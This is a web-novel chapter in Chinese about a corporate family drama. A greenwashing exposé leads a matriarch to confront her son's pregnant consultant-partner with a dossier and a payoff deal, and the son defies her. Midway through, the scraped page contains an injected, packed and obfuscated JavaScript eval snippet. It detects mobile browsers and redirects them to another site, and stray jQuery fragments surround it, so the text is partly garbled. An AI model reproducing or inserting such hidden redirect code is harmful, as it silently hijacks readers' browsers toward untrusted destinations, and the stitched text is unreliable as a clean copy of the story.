第一股来自西伯利亚的寒流，撞击在恒景一品顶层公寓巨大的落地窗上，发出沉闷的风啸。
几乎是同时，殷灿言的加密平板弹出一条推送，标题来自《财新周末》旗下一份以深度调查著称的子刊。
文章署名为「特约评论员」，标题冰冷而直接——「『碳中和』还是『碳作秀』？起底百亿房企恒景东方的『漂绿』迷局」。
殷灿言点开，指尖快速滑动。
文章的行文风格极其老练，没有煽动性的词汇，却用一连串交叉验证的数据和对政策文件的精准解读，将恒景那个由她亲手「艺术化包装」过的ESG项目，如同教科书案例般层层解剖。
报告引用的几个关键数据节点，甚至与乔珩之前发给她的警示高度吻合。
她关掉平板，端起手边那杯早已凉透的咖啡，走到窗边。
楼下，几辆黑色的轿车悄无声息地滑入恒景总部的地下车库入口，像几尾嗅到血腥味的鲨鱼。
桌面上的彭博终端机屏幕一角，恒景东方的股价数字，正顽固地停留在一个刺眼的红色「-3.1%」。
电话的内线指示灯疯狂闪烁，伴随着秘书台传来的、被刻意压低的仓惶通报：「殷总监，梁董……梁老先生的电话，已经是第三次打进来了，指名要梁总接……语气十分……」
殷灿言没有回头：「知道了。」
几分钟后，书房厚重的隔音门被猛地推开，又重重关上。
梁景轩的身影出现在门口，他没有开灯，只是背光站在那里，像一尊被阴影吞噬的雕塑。
他身上还穿着昨夜那件柔软的灰色羊绒衫，此刻却显得凌乱，领口被扯开，露出一段紧绷的颈部线条。
「爸刚打电话来。」梁景轩的声音沙哑，像被砂纸磨过，「吼了十分钟……命令我，不惜一切代价，把稿子压下去。」
殷灿言转过身，看着他隐在阴影中的脸。
「压不住的。」她语气平静，「这篇文章，不是写给散户看的。它的目标读者，在监管层。」
梁景轩沉默着，走到酒柜旁，没有倒酒，只是拿起一个冰冷的空玻璃杯，在手中无意识地转动着。室内只剩下冰块偶尔在杯壁滑动的细微声响。
「看到了？」他终于开口，声音低沉，目光透过玻璃杯壁，落在窗外那片没有温度的高楼森林上。
「看到了。」殷灿言走到他对面，隔着宽大的书桌，与他对视，「一篇写得相当精彩的压力测试报告。」
她拿起桌面上那份打印出来的、已经被她用红笔圈画过的报道复印件，像老师批改作业般，用指尖轻点着其中几个段落。
「时机选在欧洲银行态度暧昧的节点，角度刁钻，只谈模型风险不谈道德指控，火候控制得极好。既能让特定的人看到，形成压力，又不至于引爆市场恐慌，给我们留下回旋的空间。」她放下复印件，「是个高手。」
梁景轩终于抬起眼，看向她。
他的眼神不再是之前的狂热或偏执，而是一种极度疲惫下的审视：「你觉得是谁？」
「谁最希望看到我们需要回旋，谁希望向你证明『她的价值不仅仅在财务报告里』？」殷灿言不答反问，嘴角勾起一个冰冷的弧度。
梁景轩握着玻璃杯的手指猛地收紧，骨节泛白：「叶明熙！」
就在这令人窒息的愤懑中，书房门被急促地敲响了。梁景轩的私人助理脸色苍白，额角甚至带着一层薄汗。
他几乎是冲了进来，声音因为急促而有些变调：「梁总……」
他看了一眼殷灿言，欲言又止。
「说。」梁景轩的声音冷得像冰。
「您母亲……景董……她来了。」助理的声音压得极低，像在报告敌袭，「没有预约……现在，就在您外面的会客室里。她说……说要等您。」
他停顿了一下，艰难地补充完最后一句：「还说……让殷总监，务必，也一起过去。」
梁景轩手中的玻璃杯，重重地磕在了大理石桌面上，发出「砰」的一声闷响。
他没有去看助理，也没有去看殷灿言。
他只是缓缓抬起头，目光穿透那面冰冷的落地窗，望向窗外那片被寒流笼罩的、阴沉的天空。
梁景轩的私人会客室内，深色胡桃木墙板沉默地吸收着光线，意大利真皮沙发线条硬朗，彼此间隔出明显的距离。
落地窗被调至半透明模式，窗外上海的天际线在冬季午后显得模糊而灰蓝，室内光线均匀却冷清，只有空气净化器低沉地运行，发出近乎耳鸣的嗡嗡声。
景佩仪端坐在房间中央那张单人沙发的主位上，背脊挺直，黑色Celine套装勾勒出她保持得极好的身形，颈间的珍珠项链在顶灯下泛着柔和的光泽。
她面前矮几上放着一杯红茶，茶水已凉，热气散尽。
殷灿言站在离她几步远的地毯中央，同样穿着黑色职业套裙，双手交叠于身前。窗外的微光在她身上投下一道斜长的影子，将她与这个房间的环境切割开来。
梁景轩推门进来时，室内凝滞的空气让他脚步微微一顿。
他看到母亲端坐如仪，殷灿言静立不动，两人之间无形的张力几乎肉眼可见。
他的视线快速扫过殷灿言，她没有看他，目光平静地落在地毯的某个虚空点上。
「妈。」他开口，声音比他预想的要干涩几分。
景佩仪的目光没有立刻转向他，只是微微抬手，示意了一下茶几。
梁景轩的视线随之落下，看到茶几上并排放着两份文件。
她从手边那只敞开的爱马仕Birkin包里，拿出第三样东西——一个平板电脑，屏幕微亮。她将平板也放在那两份文件旁边，这才抬眼看向梁景轩，脸上没什么表情。
「景轩，坐。」她指了指侧面稍远的那张单人沙发。
梁景轩没有立刻过去，他走到茶几旁，目光在那两份纸质文件上停留——一份厚重的深蓝色硬壳报告，封面上隐约可见境外调查机构的烫金Logo；另一份是几页单薄的打印纸，用回形针固定着。
他认得那个Logo。
「这是什么？」他问，下颌线绷紧。
景佩仪没有回答他，而是将目光重新投向殷灿言，像是在继续被打断前的谈话。
「小言呀……」她端起那杯凉茶，指尖轻轻摩挲着杯壁细腻的纹路，「上次在老宅，我说过的话，看来你并没有听进去。」
殷灿言微微抬起下巴，迎上她的目光，没有言语。
助理端上顶级的正山小种，茶香氤氲。
景佩仪拿起青瓷茶杯，用杯盖轻轻撇去浮沫，动作优雅缓慢，像是在进行某种仪式。
「小言，恭喜。」她终于开口，目光平静地落在殷灿言依旧平坦的小腹上，只停留了一瞬，便移开了。
殷灿言端着茶杯的手指微微收紧，脸上却露出恰到好处的羞涩笑容：「谢谢景伯母。」
「景轩这孩子，从小被我们惯坏了，做事冲动，不计后果。」景佩仪放下茶杯，拿起手边的一个薄薄的牛皮纸文件袋，轻轻放在光洁的玻璃茶几上，推向殷灿言。「这个，算是我这个做母亲的，替他给你的一点补偿。」
殷灿言看着那个文件袋，没有立刻去碰。
景佩仪继续说道，语气温和得像是在劝慰一个不懂事的晚辈：「你们年轻人的事，我本来不想多问。但是，景轩毕竟是恒景未来的掌舵人，他的婚姻，关系到的不是两个人，是整个梁家、景家，还有成千上万员工的生计。」
她的目光再次变得锐利，像手术刀般剖开温情的表象：「我知道，你是个聪明的女孩，应该明白，有些门，不是你想进就能进的。进去了，也要看你坐不坐得稳。」
「我们梁家、景家……」景佩仪刻意加重了两个姓氏，放下茶杯，骨瓷与玻璃桌面接触，发出一声轻微却清晰的脆响，「容不下不清不楚。」
她抬手，用涂着淡雅裸色磨砂美甲胶的指尖，点了点那份蓝色报告。
「这里面，是你近两个月的一些行踪。很详尽。关于你和乔家那个孩子的过去……甚至关于你现在肚子里的这个……」她的目光快速扫过殷灿言的小腹，快得几乎让人无法捕捉，「和睦家的检查记录。8周。不多不少。」
梁景轩的呼吸瞬间屏住，他猛地看向殷灿言，试图在她脸上找到一丝破绽，但那张脸平静得像结了冰的湖面。
景佩仪拿起那份单薄的协议，像拈起一片落叶。
「而这一份……」她看着殷灿言的眼睛，那眼神锐利得不带任何温度，「是给你，也是给景轩的一个交代。」
她将协议轻轻放在蓝色报告之上。「一笔钱，足够你在苏黎世湖边过上你想要的生活。」
她的语气像在宣布一项既定事实：「孩子，生下来。至于姓什么……与梁家无关。条件是，你签了这份协议，并且……」
她拿起旁边的平板电脑，屏幕亮起，显示着一份声明草稿，标题刺眼——《关于近期针对恒景东方不实报道的个人澄清声明》：「……把这份声明，认了。」
她将平板推到文件旁边，身体缓缓向后靠入柔软的沙发靠垫，双手优雅交叠。
「最近外面那篇关于『漂绿』的文章，影响很不好。」她的声音平稳，却带着不容置疑的结论，「总要有人出来，给各方面一个说法。你觉得呢？」
梁景轩看着茶几上的「三件套」——证据、协议、罪状，下意识地攥紧了拳头。
殷灿言终于有了动作。她向前走了半步，俯身。
梁景轩的心提到了嗓子眼。
但她并没有去碰那些文件，而是伸出手，端起了景佩仪面前那杯已经凉透的红茶，转身走到吧台，倒掉，重新注满热水，放回一片新鲜的柠檬。
白色的雾气氤氲而上。
「景伯母……」殷灿言端着新沏的柠檬水走回来，轻轻放在景佩仪手边，动作从容得体，「茶凉了。」
她直起身，目光平静地迎上景佩仪那双冷锐的眼睛，嘴角甚至还弯起一丝极浅的弧度。
「您刚才说的这些……」她像是在复述会议纪要，「听起来，像是一份……带有竞业限制和名誉损害条款的……离职补偿方案？」
景佩仪看着她，看着她瞬间将这场「道德审判」扭转为一场「商业谈判」。
「随你怎么理解。」景佩佩仪端起柠檬水，却没有喝。
「那这条款……」殷灿言的目光扫过茶几上的协议，像在评估一份合同，「似乎有些……苛刻了。」
她抬起眼，缓声道：「据我所知，恒景的核心顾问合同里，好像并没有赋予甲方单方面提出此类解约条件的权力。尤其是在……欧洲银行还在等我们最终报告的时候？」
梁景轩看着殷灿言，看着她非但没有被击垮，反而冷静地开始援引合同条款。他感到一阵荒谬，紧绷的神经却奇异地松弛了一瞬。
景佩仪握着水杯的指节，微微泛白。
「小言，你可能还没明白。」她的声音冷了下来，失去了伪装的温和，「现在的你，并没有资格，跟我谈条款。」
她指了指那份蓝色报告：「这些东西，如果不小心流传出去……」
「流传给谁？」殷灿言打断她，脸上的笑意未减，「是这次写『漂绿』报道的那位特约评论员吗？景伯母，恕我直言……」她的目光里带上了一丝近乎怜悯的神色，「您现在用来威胁我的武器，好像……正是您自己也急于扑灭的那场火？」
景佩仪的脸色，在那一刻，终于彻底沉了下来。
景佩仪没有立刻反驳，而是缓缓放下水杯，骨瓷杯底与玻璃桌面碰撞，发出「嗒」的一声轻响，像棋子落定。
她抬起眼，目光不再聚焦于殷灿言，而是转向了站在一旁，脸色变幻不定的梁景轩。
「景轩……」她的声音恢复了那种不带情绪的平稳，「你来说说，那篇报道出来之后，这几天，你父亲找了你几次？董事会那几位老先生，又旁敲侧击地问了些什么？」</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746912|189948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
梁景轩的喉结滚动了一下，没有说话，但紧抿的嘴唇已经给出了答案。
景佩仪的目光重新回到殷灿言身上，但话，依然像是说给梁景轩听的。
「小言的能力，我从不否认。甚至可以说，过于出色了。」她拿起茶几上的平板电脑，指尖在屏幕上划过，调出那篇「漂绿」报道的页面，屏幕的光映在她冰冷的眼底。「但有时候，能力太强，又站错了位置，就不是助力，而是引火烧身。」
她将平板屏幕转向梁景轩，虽然角度上殷灿言也能看到。「这篇文章，分析得很到位。它没有指名道姓，却把所有的创新，都描绘成了隐患。它在告诉所有人——恒景这艘船，因为搭载了过于激进的新引擎，正在驶向更危险的水域。」
她关掉屏幕，将平板放回原处。
「小言，我不管这篇文章是谁写的，出于什么目的。」她的声音里，带上了一种近乎宣判般的冷静，「但它利用的弹药，是你给的。它攻击的靶心，是景轩，是恒景的未来。」
她顿了顿。
「我今天来，不是在跟你谈条件的。」她看着殷灿言，一字一句，清晰而冷酷，「我是在清场。」
「清理掉所有可能让这艘船，在我们手里彻底沉没的风险因子。」她的目光最后扫过殷灿言的小腹，「无论这个因子，是什么形态。」
梁景轩看着茶几上的「三件套」——那份蓝色报告里「和睦家」、「8周」、「HCG」那几个他隐约能猜到含义的字母，那份冰冷的协议，那篇该死的报道。
他又看了看母亲那张不带一丝情感、却充满了最终裁决般姿态的脸。
而殷灿言，在听到「风险因子」这个词时，身体有微不可察的一颤。她抬起头，看着景佩仪。
然后，她笑了。
那笑声，很轻，几乎只是唇角一个微小的、向上牵扯的动作，却带着一种近乎破碎的、令人心悸的悲凉。
随即，两行清泪，毫无预兆地，从她那双总是像精密仪器般冷静的眼睛里，滚落下来，划过苍白的脸颊。
「景伯母，您说的对。」她开口，声音不再是之前的平静，而是带着无法抑制的颤抖和哭腔。她没有再看景佩仪，目光越过她，投向一旁那个因为震惊和无措而彻底僵住的梁景轩，「我配不上他。」
她伸出手，指尖颤抖，没有去碰那份协议，而是轻轻地、近乎本能地，抚上了自己依然平坦的小腹。
「我……我只是……」她像是被抽走了所有力气，声音断断续续，被哽咽打断，肩膀也开始无法控制地微微耸动，「我只是想……为他，留下一点什么……」
「我妈妈的病……要很多钱……我弟弟又……家里……家里就是一个无底洞……我真的没有别的办法……我已经很努力了……」
她抬起那张泪水纵横的、苍白而又带着一种惊人倔强的脸，望向梁景轩，眼神里只剩下被逼到悬崖边缘的、近乎溺水般的无助与哀求。
「……我知道我配不上梁家。我做这些……都只是为了救我妈妈……如果…如果这些钱能让她活下去…」她看了一眼茶几上的文件袋，声音微弱下去，「我愿意走。」
她说完，便不再看任何人，只是缓缓低下头，任由眼泪无声地，一颗一颗地，砸落在光洁冰冷的地板上，晕开小小的水渍。
梁景轩看着眼前这个哭得浑身发抖、却依然下意识护着小腹的女人——那个刚刚还在冷静与他母亲言辞交锋、此刻却脆弱得仿佛一碰就碎的女人。
他又看着沙发上那个神情冰冷、用最残酷的「清场」逻辑，去逼迫一个怀着他孩子的女人的，他的母亲。
他脑海中，那个五岁的、捧着乐高城堡，却被母亲一句「结构不合理」轻易推倒的自己，与眼前这个正无声落泪、仿佛连存在本身都被判定为「瑕疵」「隐患」和「风险因子」的女人，瞬间，重合了。
「够了。」
他的声音并不高，却像冰块砸在玻璃上，又冷又硬，瞬间切断了室内的死寂。
他没有走向殷灿言，而是径直走向茶几。他俯身，拾起了那份单薄的协议，又拿起了那份厚重的蓝色报告。他没有看内容，只是将两份文件叠在一起，然后，当着景佩仪的面，极其缓慢地、一寸一寸地，将它们撕开。
撕裂的声音在过分安静的房间里异常刺耳。
他没有停下，直到将它们变成一堆无法辨认的碎片。细碎的纸片像失去重量的灰色蝴蝶，纷纷扬扬，落满了光洁的茶几，和脚下昂贵的波斯地毯。
他缓缓转过身，面向沙发主位上的景佩仪，脸上没有任何惯常的、带着一丝敷衍的恭顺。
他的目光冷到南极，直直地看向自己的母亲。嘴角极其缓慢地、向上牵起一个极小的弧度，那不是笑，更像是一种宣告。
「你说得对，妈。」
他的声音平静，却带着一种前所未有的、斩钉截铁的距离感。
「她确实，配不上。」
他看着景佩仪眼中一闪而过的错愕，顿了顿，每一个字都像钉子一样敲下：「是我们梁家，配不上她。」
他不再看母亲那张瞬间失色的脸。
他走到殷灿言身边，她依旧低着头，肩膀还在无法抑制地轻轻颤抖。
他脱下身上剪裁合体的西装外套，没有一丝犹豫，弯下腰，极其轻柔地，将带着他体温的、厚实的羊绒面料，裹在了她单薄的肩上。
然后，他没有去扶她，而是直接、却又小心翼翼地，将她打横抱起。
她很轻，身体微微蜷缩着，像受惊的鸟雀，下意识地将脸埋进他的胸口。
他抱着她，没有立刻离开。他甚至低头看了一眼怀中紧闭着双眼、睫毛上还挂着泪珠的女人，下颌线绷得更紧。
然后，他才抬起头，隔着一地狼藉的纸屑，最后一次看向自己的母亲。那眼神，已经完全陌生，带着一种不容置疑的、属于成年男人的决绝。
「她的账。」他微微收紧手臂，「从今天起，都算在我头上。」